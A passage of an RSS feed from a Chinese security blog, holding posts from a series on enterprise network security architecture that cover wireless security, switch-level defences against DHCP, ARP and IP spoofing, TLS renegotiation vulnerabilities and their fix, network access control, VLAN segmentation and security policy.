			</description>
			<pubDate>Wed, 01 Feb 2012 15:07:37 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[互联网企业网络安全架构系列之六 —— 无线网安全]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=822</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=822</guid>
			<description>
				<![CDATA[
<p>&nbsp; <span style="font-family: arial, sans-serif; font-size: 14px; ">手头上有6个项目在进行，工作之余给老婆打下手看孩子，有时候又想懒一下翘着脚看看好玩的东西，写文章的时间越来越少了。现在想介绍一下办公网无线方面的安全架构，然后暂时终结掉这个系列。IDC我还没想好怎么写，因为很多东西没有选择，一写出来就知道阿里巴巴的真实架构了，尤其是虚拟化云计算，这方面我做了很多工作，但是一直只能避而不谈。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">我们回到正题，谈谈无线网络的安全设计。无线网络在安全性方面，先天就比有线网络要脆弱，因为数据通是以空气为介质直接向四面八方广播的，任何人都可以很方便的在无线接入点附近捕获到这些数据，除非哪一天公司也能够有领地领空一说。有线网络的数据则通过比较密闭的载体&mdash;&mdash;网线来定向传播，虽然网线也不硬，但是至少我还没见过有人通过剪断网线加入分流设备来截取资料的事件。无线网的安全，按照发展历史大致可以分为WEP时代、WPA时代以及现在的WPA2时代，作为架构设计的背景下面逐个介绍，我国的WAPI就先无视吧。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">WEP是无线网络最开始使用的安全协议，全称为Wire Equal Protocol，即有线等效协议，是所有经过Wi-Fi认证的无线局域网所支持的一项标准功能。WEP提供基本的安全性保证，防止有意的窃听， 它使用基于共享加密密钥的RC4对称加密算法对网络中所有通过无线传送的数据进行加密，密钥直接部署在AP和客户端，不需要公开传输，从而对网络提供基本的传输加密。WEP也提供基本的认证功能，当加密机制功能启用后，客户端尝试连接上AP时，AP会发出一个Challenge Packet给客户端，客户端再利用预先保存的共享密钥将此值加密后送回AP以进行认证比对，如果与AP自己进行加密后的数据一致，则该终端获准联入网络，存取网络资源。也就是说，认证和加密使用一个相同的预设置的KEY。WEP协议存在非常多的缺陷，主要表现在密钥管理，传输安全等方面。首先，终端密钥必须和AP密钥相同，并且需要在多台终端上部署，用来进行基本的认证和加密。密钥没有统一管理部署的能力，更换密钥时需要手动更新AP和所有的终端，成本极大。倘若一个用户丢失密钥，就会殃及到整个网络的安全性。其次，在数据传输方面，因为整个网络加密使用的KEY不做变换，RC4加密算法又不够强壮，攻击者收集到足够多的密文数据包后就可以直接计算出密钥，嗅探网络中的通信，也可以使用解密的KEY直接接入网络，整个破解过程不会超过15分钟。最后，WEP中的数据完整性检验算法也不够强壮，WEP ICV是一种基于CRC-32的用于检测传输噪音和普通错误的算法。CRC-32是信息的线性函数，攻击者篡改加密信息后，可以很容易地修改ICV，通过解密端的检验。总而言之，WEP是一种过时的安全策略，不应该在任何企业网络中使用。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">针对这种情况，IEEE推出了802.11i标准。但是标准过于庞大一时难以实现，而现实中恶劣的情况又急需安全措施，他们只能先做一套简约版的临时救火措施，这套措施就是WPA，对比WEP而言实现了三个最关键的改动。第一个是除了PSK（pre-shared key）模式这种类似WEP预设KEY的认证之外，还支持802.1X认证。802.1X使用独立的radius服务器，每个用户使用不同的密码登录，提高了认证强度。关于802.1X前面做过很多介绍，略过不谈。第二个改动是增加了TKIP协议（临时密钥完整性协议），可以将其理解为WEP外面的一层保护皮。WEP容易破解是因为RC算法不强，而且密钥固定不变，TKIP的做法就是在传输过程中为每个包生成不同的加密密钥，增大破解难度。第三个是更强的数据完整性检验算法，解决篡改问题。WPA已经可以比较安全的使用了，但是作为临时措施它的生命并不长久，WPA2随后就到。WPA2中使用更强的AES（Advanced Encryption Standard）加密算法取代WPA中的RC4，也使用了更强的完整性检验算法CCMP。因为这些杂乱的历史原因，WPA有一些诡异的昵，WPA个人，WPA企业，WPA2个人，WPA2企业。其实这里的个人就是预设KEY认证模式，企业就是802.1X认证模式。有了这些无线安全基础，下面介绍两种可行的方案。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">第一种方案，毫无疑问是最简洁最直接的WPA2方案。类似安全域划分中的结构，使用ACS（Access Control Server）或者IAS（Internet Authentication Service）作为radius服务器，设置域控制器为外部数据库，将组织架构与本地组映射，做验证并授权。作为具有内部PKI的企业，可以选用PEAP提供安全的认证通道，使用MSCHAPv2作为具体的认证方法。注意的是，任何和证书有效性相关的地方，一定要检验证书的有效性，可以看</span><a href="http://icylife.net/yunshu/show.php?id=814" target="_blank" style="color: rgb(17, 85, 204); font-family: arial, sans-serif; font-size: 14px; ">http://icylife.net/yunshu/show.php?id=814</a><span style="font-family: arial, sans-serif; font-size: 14px; ">关于PEAP-MSCHAPv2设置不当引起的中间人劫持攻击。看过我关于动态VLAN划分的文章，可以发现这里的无线网和有线网非常大一部分是一样的，区别在于先要让无线数据在空气中安全传输，然后就是标准的做法了，无线和有线融合到了一起。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">第二种方案，并不是标准做法，06年我在雅虎期间由于某些原因别出心裁的创造了一个诡异的方案。我直接选用了最不安全的WEP方式组网，用户连接上这个不安全的无线网络时，直接被划入到一个为无线准备的GUEST VLAN中，该网络无法访问除了一个VPN Server之外任意地方，两辆互访都被拦截。那么如何访问公司内部资源以及认证授权？关键点在于这个VPN服务器。所有要使用无线网的人，必须连接上AP之后使用RSA Token动态口令做认证。所有的认证和授权，由VPN服务器进行，数据传输安全由VPN的IPSEC通道保证。这个方案有什么优点让我选择它？我就不细说了，大家可以自己推测。有什么缺点，我也不描述。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">另外值得一提的是，公司免不了有访客，如果使用AD认证如何解决他们的权限问题？我的建议是建立两套单独的WLAN，访客网络虽然也使用ACS做认证授权，但是使用人工建立账号的方式进行。设计一个访客申请网络权限的流程，流程与ACS对接，审批通过后自动建立帐号并在指定时间后删除。至于权限，应该是只能访问internet，和内网完全隔离。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">这一节，我的本意不是写技术。希望大家在文章中看到一点别的。有线无线，总归一样，标准与非标准，皆是选择。总而言之，兵无常势水无常形，运用之妙存乎一心。任何的技术方案，一定要明白它的本质。</span></p>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 15:07:17 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[互联网企业网络安全架构系列之五 —— 办公网其它安全]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=821</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=821</guid>
			<description>
				<![CDATA[
<p>&nbsp; <span style="font-family: arial, sans-serif; font-size: 14px; ">最近在忙项目，所以好久没写新的东西了。今天投一点空写一点，表示我没有太监。这一篇也写简单点，就当是看提纲吧。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">DHCP攻击防御</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">DHCP Snooping技术，是办公网很多防御策略的根基。接入层交换机开启 DHCP Snooping后，会对DHCP报文进行解析，从Request和Response中提取并记录客户端的MAC地址和DHCP Server分配给它的IP地址，形成一个动态的绑定。另外，DHCP Snooping将某个物理端口设置为信任端口，其它为不信任端口，当攻击者伪造DHCP Server试图进行攻击的时候，伪造的Response会被交换机丢弃。最后，根据端口每秒最大DHCP请求报文数量，和解码DHCP请求报文判断客户端MAC地址等内容，DHCP Snooping可以防御客户端大量请求DHCP服务造成DHCP Server拒绝服务的攻击。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">ARP欺骗防御</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">接入层交换机部署思科DAI（Dynamic ARP Inspection）技术，防御ARP欺骗攻击。DAI以上文描述的DHCP Snooping为基础，根据DHCP Snooping中记录的MAC、IP地址动态表对ARP协议做过滤。当客户端发动ARP欺骗攻击时，交换机检测到ARP包中宣告的MAC地址和IP地址匹配情况与DHCP Snooping表中记录的内容不符，则将攻击包丢弃。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">IP伪装防御</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">接入层交换机部署IP Source Guard技术防御IP伪装攻击，常见的为SYN Flood。此方案和DAI类似，同样基于DHCP Snooping表对报文进行过滤，不过区别在于IP Source Guard过滤TCP层，UDP层，ICMP层等高层协议报文。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">当检测到传输层或者IP层协议中的源IP地址与DHCP Snooping表不符时丢弃报文，拦截伪装IP地址的攻击。同时，可在核心层路由部署URPF（Unicast Reverse Path Forward）策略，辅助接入层的IP Source Guard方案，防止遗漏。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">CAM表攻击防御</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">在接入层交换机启用Port Security，设置一个交换机端口可通过的最大MAC数量以及可通过的MAC地址列表，防范伪造大量虚假MAC地址针对交换机CAM表的攻击。同时，对物理端口接入HUB可有效拦截。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">PPS限制</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">对接入层交换机的每个端口做PPS（packets per second）限制，防止DDoS攻击，并可对BT、电驴、电骡之类P2P应用做出一些限制。</span></p>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 15:06:55 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[从RFC 5746的角度说Renegotiating的DOS攻击和MITM攻击]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=820</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=820</guid>
			<description>
				<![CDATA[
<p>&nbsp; <span style="font-family: arial, sans-serif; font-size: 14px; ">最近thc公布的SSL DOS漏洞挺火爆的，加上以前的那个MITM漏洞，估计各个公司都要忙一会儿。MITM漏洞我在《Renegotiating TLS Attack》中描述过，简单地说就是能够在任何使用低版本OPENSSL的系统中构造出一个CSRF攻击，以流量劫持为基础的无视WEB层防御的网络层攻击，有点四维空间攻击三维&ldquo;智子&rdquo;的感觉。因为是TLS协议的问题，所以牛人们搞了一个扩展协议Renegotiation Indication Extension称之为secure renegotiation来解决这个问题。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">这个新的RFC在TLS协议中增加了增加了三个状态和一个结构体，分别是secure_renegotiation标志位、client_verify_data、server_verify_data以及renegotiation info结构体。secure_renegotiation标志位表示是否支持安全重新协商，client_verify_data表示客户端发送的上一个TLS握手协商中最后一个包的尾部数据，TLS是12字节，SSL3是36字节。类似的，server_verify_data就是服务端发送的数据。当第一次协商正在建立的时候renegotiation info中的renegotiated_connection被置为0。当客户端要求开始重新协商时，需要带上client_verify_data，类似的服务器开始协商需要带上server_verify_data，这个数据对方会进行检验。当使用Renegotiating漏洞做MITM攻击时，攻击者只是注入数据并不能解密数据，因此这个client_verify_data无法获得而导致失败。显然的，这个新协议彻底解决了Renegotiating漏洞引起的MITM问题。openssl 0.9.8L使用关闭Renegotiating解决，后一个版本0.9.8M中重新启用了Renegotiating但是实现了secure renegotiation。需要注意的是，apache的mod_ssl配置中保留了一个兼容老客户端的选项SSLInsecureRenegotiation，一旦设置为on就白升级了。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">再说那个DOS漏洞，这个攻击方式的本质是消耗服务器的CPU资源，在协商加密算法的时候服务器CPU的开销是客户端的15倍左右。而Renegotiating机制让攻击者可以在一个TCP连接中不停的快速重新协商，如果建立多个连接则服务端的压力更为可怕，而且这种攻击连接数很少导致难以被察觉。THC宣告说即使关闭Renegotiating也不能避免攻击，是的，即使关闭了还是可以用类似connection flood的方式进行攻击，一个connection进行一次negotiating而不是Renegotiating。当然，这已经是一种缓解了，因为这样的情况下攻击者的开销增大，服务端的连接数增多更容易监控到。也许有人会说，无需关闭Renegotiating只要升级了openssl、apache之后似乎就解决问题了，但是这只是一种假象，因为目前流出的代码没有实现secure renegotiation，如果有人蛋疼去实现一下了？</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">其实目前的防御方案，都是拿着一个纸做的盾牌。</span></p>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 15:06:36 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[互联网企业网络安全架构系列之四 —— 办公网网络准入控制]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=819</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=819</guid>
			<description>
				<![CDATA[
<p>&nbsp; <span style="font-family: arial, sans-serif; font-size: 14px; ">网络划分之后，解决了各个终端的网络访问权限问题，不同的部门不同的人只能看到不同的业务。下一个问题就是网络的接入控制了，用来解决非公司授权设备接入公司网络和已授权但是安全性不足设备接入公司网络的问题。BTW，今天天气很糟糕，毛毛细雨一直在下，这种情况下我一般都会有点消沉，所以希望这一部分不会写得特别的糟糕&mdash;&mdash;像前几篇那种的一般糟糕我还是接受的。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">网络接入控制本质上非常的简单，客户端收集安全信息，发送到策略服务器，策略服务器将检查结果通知控制设备，控制设备根据结果做出具体的措施，准许或者拦截。各大厂家的不同之处在于如何拒绝安全检查没有通过的设备，在这一块上可以使用的协议太多，我试图从底层逐渐往上层的去介绍。大家应该还记得，网络划分中介绍过基于MAC地址的VMPS方案，显然这个方案可以在划分动态vlan的同时，还能够实现简单的网络接入控制。缺点也很明显，功能简单，它只能够做到区分授权设备和未授权设备，而不能对这些设备是否安全提供保证。另外，对网卡的MAC地址进行修改可以绕过限制。而且想要整个系统好用还需要做很多开发方面的工作。对于较大规模比较重视安全的企业来说，这不是一个好的选择。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">作为工作在二层的协议，除了VMPS之外我们应该马上想到前面介绍的802.1X，因为对它最简单的描述就是它可以确定一个端口在逻辑上是否可以开放，而且认证使用的是EAP这个可扩展的认证协议框架，先天上就为准入控制做好了一切准备。当用户设备接入网络开始802.1X认证时，接入层交换机将用户的登录信息以及健康信息一并发送给做为radius存在的策略服务器检验，任意一个不通过都在交换机上将端口逻辑关闭，或者划分到GUEST VLAN进行修复。可以看到，这种准入和利用802.1X做动态VLAN是完全不冲突的，可以很好的协同工作。由于这种准入是在连入接入层交换机时进行的，所以一般称之为EAPOL（EAP Over Lan）。相对应的，思科又提出了一种EAPOU（EAP Over UDP）的概念。（昨天去绍兴滑雪了一天。今天一到公司就被人影响，心情很坏，不过还是坚持继续下去。）思科认为基础的802.1X方式做准入，设备要求太高，全部的接入层交换机都需要支持802.1X，而且部署成本也较高，需要在全部的接入层交换机上面做变更。于是他们试图把准入从接入层提高的汇聚层，这样将EAP封装到UDP中形成EAPOU方案。优点就是解决了上文EAPOL中的缺点，但是自己却又引入了新的缺点，那就是接入控制的层次太高，只能阻止未通过安全检查的设备访问跨越汇聚层的访问，低于接入层交换机之内的互相攻击、病毒传染无能为力。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">再往上一点，有DHCP控制，简单的说就是没有通过安全检查的设备，补给你分配IP地址。显然，这也不是一个特别靠谱的方式，不用去讲太多。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">微软在Windows 2008 server中，引入了一个完整的NAP（Network Access Protection）方案。这是一个非常有意思的东西，他们把X509证书引入进来，通过给接入设备颁发健康证书的方式来做控制，设备之间强制使用IPSec进行通信。没有健康证书的设备，在试图和健康的设备通信时，因为没有健康证书而无法建立起安全的IPSec通道。这是我觉得非常好玩的一个东西，可惜被限制在Windows平台。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">对入接入控制，除了健康检查、主动修复外，我一直希望有一个主控端存在，能够通过这个主控端强制去分发某些安全补丁。另外一点，在网络划分那里，我曾经说过规模大了的时候动态VLAN已经未必适合了，在某些情况下，通过接入控制客户端提供一个分布式的防火墙，在主控端做一些ACL也许是一个选择。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">不想写下去了，我并不善于控制自己的情绪，很抱歉，这一篇我以后重写一次。</span></p>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 15:06:20 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[互联网企业网络安全架构系列之三 —— 办公网网络划分]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=818</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=818</guid>
			<description>
				<![CDATA[
<p>&nbsp; <span style="font-family: arial, sans-serif; font-size: 14px; ">现在可以从办公网络开始谈一点&ldquo;狭义&rdquo;的技术方面的问题了。我不想去谈办公网面临的风险，因为这些东西大家应该都比较清楚了，不外乎ARP欺骗、外部设备随意接入、PC补丁不全被网页挂马、测试服务器被映射到外网导致办公网被渗透诸如此类。直接从办公网的网络如何划分开始吧，介绍一个比较好的办公网络应该从何处入手开始构建。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">在完全展开之前，需要先了解一点背景技术，主要是想描述一下802.1X协议，因为它在办公网络中的地位实在太重要了，从无线到有线、从VLAN划分到准入控制、从登陆认证到网络授权都难以避开它。802.1x是一个基于端口的认证和访问控制协议，通过EAP（Extensible Authentication Protocol）进行认证，控制一个端口是否可以接入网络。这里的端口可以是物理端口，也可以是逻辑端口，对于无线网络来说一个信道就是一个端口。802.1X工作在二层，加上EAP只是一个框架，可以由厂商实现具体的认证方法，因此具有非常好的扩展性，在办公网络的很多方案中得到应用。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">对安全比较敏感的黑阔们可能已经想到，应用如此广泛的认证体系居然是基于端口的，这个认证这个粒度是不是太粗了？在一个HUB下接入N台PC，只要一个PC通过认证后该物理端口就针对所有PC打开了。针对这一点，又有公司提出了认证实体（Access Entity）的概念，除了常见的端口认证实体之外，增加了一个MAC认证实体，能够将认证粒度从端口下移到设备本身。关于这个问题，我曾经在一篇博文中描述过，和朋友们有一些讨论，参见http://www.icylife.net/yunshu/show.php?id=670，这里不细说了。除认证力度之外，EAP认证框架方面，不同的厂商也衍生出一大堆LEAP、PEAP、EAP-TLS、EAP-MD5等等具体的认证协议。提供了安全的认证方法，有了合适的可控对象，802.1X已经可以比较安全的在网络中使用了。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">对802.1X有了初步的了解之后，我们可以开始看如何划分互联网企业的办公网络了。首先要理解的是为什么要将网络划分为多个部分。我不想从各种标准中去找理由，也不想去说那么多生硬的安全术语。就看看生活中吧，为什么一个国家分为很多个不同的行政区块？我想除了历史原因之外还有便于管理的因素在里面。每一个相对独立的区域，都有不同的最适合自身的个性化法律法规。并且，很多事情容易在一个较小的区域内处理而不涉及到全局的整体变化。即使在商场中，我们也能注意到有很多的防火门。这些防火门在出现火灾的时候，可以把商场切分成一个一个的区域，然后分别处理局部事件防止蔓延。在这些地方再延伸到网络中，划分区域的意义是大致相通的。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">基于业务的不同，我们可以将办公网络分为两大块，服务器区和办公区。一般情况下，服务器区域又大致可以分为四个部分，内部业务区、公共资源区、开发测试区以及DMZ区，根据业务情况，这些大的区之间可以再进行细分。区域之间其实并不存在严格的安全级别的高低顺序，具体的访问控制依据公司的情况来实现。一般来说，内部业务区部署的是HR、财务、行政、高管支持等较为敏感部门的一些重要业务服务器以及常用的CRM、流程系统之类。公共资源区部署DNS Server、DHCP Server、Update Server等提供给公司全体员工使用的资源。开发测试区域则顾名思义给开发使用的，DMZ则是属于办公网所有但是又需要映射到外网的服务器，如Mail Server等，也可能包含一些测试性质需要临时对外的服务。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">相比服务器区，办公区则庞大的多，因为太多涉及到人的因素处理起来也复杂的多。在早期，公司规模不大，安全还不是一个非常重要的因素，大家更宁愿采用静态VLAN的方式，简单方便，而且VLAN之间也不去实施访问控制。之所以部署VLAN是为了解决广播风暴之类的非安全问题，当然也可以说是广义的安全。等到公司规模扩张，而且笔记本移动办公比较普及，也更加推崇&ldquo;沟通&rdquo;、团队协作，静态VLAN就不再满足需求了，动态VLAN走上舞台。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">最简单最基本的动态VLAN是使用基于MAC地址的划分方式，即VMPS（VLAN Management Policy Serve）方案。在这个方案中，简单的认为MAC地址在公司范围不重复不可伪造，MAC地址可以代表人的身份。VMPS需要一个映射MAC地址到VLAN ID的文本数据库，一般存储在TFTP服务器上。交换机启用VMPS以后从指定的TFTP服务器上下载这个VLAN映射数据库，然后打开一个UDP进程来监听从客户端发来的请求。当一个帧到达动态端口时，交换机根据帧的源地址查询VMPS，获取相应的VLAN ID，将该端口划入对应VLAN。当VMPS配置为非安全模式时，接到数据库中不包含的MAC地址的请求，交换机简单的丢弃来自该MAC的数据包，当配置为安全模式时，交换机将这个端口关闭。无论哪一种模式，对经常有客户拜访的公司都是会造成一些不变的，这就需要预置一个Guest VLAN，在其中设置独立的DNS Server以及其它必须服务，并设置为只能访问internet。然后在VMPS中设置默认VLAN，有不属于数据库中的MAC数据包到达时，交换机将该MAC对应的端口划入默认VLAN，与公司内部进行安全隔离。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">VMPS的优点在于对交换机和网络环境没有特殊的需求，结构也简单，能够比较轻松的实现。另外一个优点是可以和IT的资产管理系统集成，直接导入MAC地址表降低收集MAC地址的难度。但是缺点也很明显，首先MAC地址是可以修改的，攻击者可以很容易得骗过VMPS划入到敏感的VLAN中；其次统计MAC地址难免出现遗漏，或者由于资产变更同步不及时，导致一些安全故障；最后，方案简单也意味着功能不够强大，如果基于行政上的组织架构划分VLAN，只能自己开发和域控对接。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">稍微复杂一点的DVLAN方案，就是前面提到的802.1X了。这个方案需要有radius服务器，常用的有思科的ACS，微软的IAS，以及开源的Free Radius。假设公司部署了域控制器，那么在radius服务器上添加一个外部数据库，使用AD中的信息作为认证数据库。同时，将域上面的行政组织架构映射为radius上面的组，组关联到VLAN。在交换机上启用全局802.1X，设置认证服务器为配置好的radius服务器即可。域控制器并不是必须的，本质上，任何的LDAP数据库均可，只是企业里比较习惯性的使用AD而已。当用户登录系统的时候，认证信息依次转发，最后返回VLAN信息到接入层交换机。由于VLAN划分是基于登陆用户的，因此基于802.1X协议实现的动态VLAN功能非常强大，可以从AD取到用户的各种属性。但是缺点也比较明显，与交换机、终端对802.1X的支持程度紧密相关，部署复杂，出现问题的可能性也比较大。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">上文描述了两种常见的动态VLAN划分方式，但是它们并不是解决网络划分问题的万能药。当网络规模达到阿里巴巴这种万级别终端的时候，动态VLAN就会暴露出许多问题。一个BU的员工，分散在全国甚至世界不同的城市，然后通过site to site vpn连接在一起。即使在最大的滨江园区员工办公也不再局限于一栋楼，而是在楼与楼之间移动，VLAN能够跨越多大的范围（这里先忘记云计算的大二层网络，后文我会去重点介绍）？二层互通会不会带来楼层之间的广播风暴？如果一个楼的故障如果需要去另外一个楼甚至另外一个地点解决，也是一件很痛苦的事情。也许有人会说，我们无需做到二层互通，只要保证每个办公地点有相同的VLAN ID，然后ACL策略统一分发过来即可。当员工在楼之间迁移时，得到的VLAN ID是一样的，访问控制策略也是一样的，虽然VLAN其实是多个分离的。这样做不是不可以，但是又引入了一个新的比较麻烦的东西&mdash;&mdash;策略同步问题。是否有更好的方案来解决问题？让我们先回到划分VLAN的本质上来。显然，我们设置VLAN是为了控制员工之间的相互访问，以及部门与服务器区域指定服务器群的访问关系，比如只有财务VLAN可以访问财务的管理服务器。在这里，策略其实是基于VLAN或者IP段实施的，也就意味着我们是在用IP代替人来进行控制。那么，我们是否可以把眼光从IP段、VLAN ID上移开，不再关心它们，直接把策略落到人的身上，至少从二层三层往上移？关于这一点，我不再继续下去，不用我的想法去毒害束缚大家。而且对一般的环境来说802.1X足矣。但是这个思路，我想是正确的。</span></p>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 15:05:59 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[互联网企业网络安全架构系列之二 —— 我的甲方安全观]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=817</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=817</guid>
			<description>
				<![CDATA[
<p>&nbsp;<span style="font-family: arial, sans-serif; font-size: 14px; ">谈技术之前，先说一下我对甲方网络安全的大观点，这是后面的基调。不喜欢看的，请果断跳过。</span></p>
<p style="font-family: arial, sans-serif; font-size: 14px; ">在甲方做事情，要习惯能用技术搞定的都不是问题，人才是问题。很多好的方案没有得到彻底的执行，很多完善的流程以及标准操作手册，都有人有意无意的跳过，打包好的经过安全加固的软件包，产品运维部门的人视而不见却喜欢耗时的自己编译，然后看着屏幕上一屏一屏的刷过的字幕发呆。当你对这些事情感到痛苦的时候，那就说明有一些甲方的经验了。解决这种问题，有五大法宝，策略、标准、流程、复核，以及行政处罚，五大法宝是互相协调不可分割的，贯穿其中的是良好的沟通。</p>
<p style="font-family: arial, sans-serif; font-size: 14px; ">策略，就是&ldquo;法律&rdquo;，明确的描述出什么事情是不可以做的，做了之后会有什么样的后果，导致什么样的处罚。这是后面的标准、流程、复核以及处罚的基础，立法在先，勿怪言之不预。策略的编写，是一定不可以一个人坐在座位上写的，这样的脱离实际无法执行的策略发出来注定骂声一片。好的策略，一定要多方面的沟通，IT、SA、NET OPS（Network Operation）、APP OPS（Application Operation）、DEV、QA各个部门都要照顾到沟通到，了解他们日常工作中的做法，在此基础上以提升安全性为目标做一些修订。策略描述可否，不涉及到具体事情的操作细节，常见策略如：IDC对外开放端口策略、公司内部网络访问策略、服务器上线策略、软件包部署策略、外包人员管理策略等等，由于公司安全制度我就不说太多。<br />
<br />
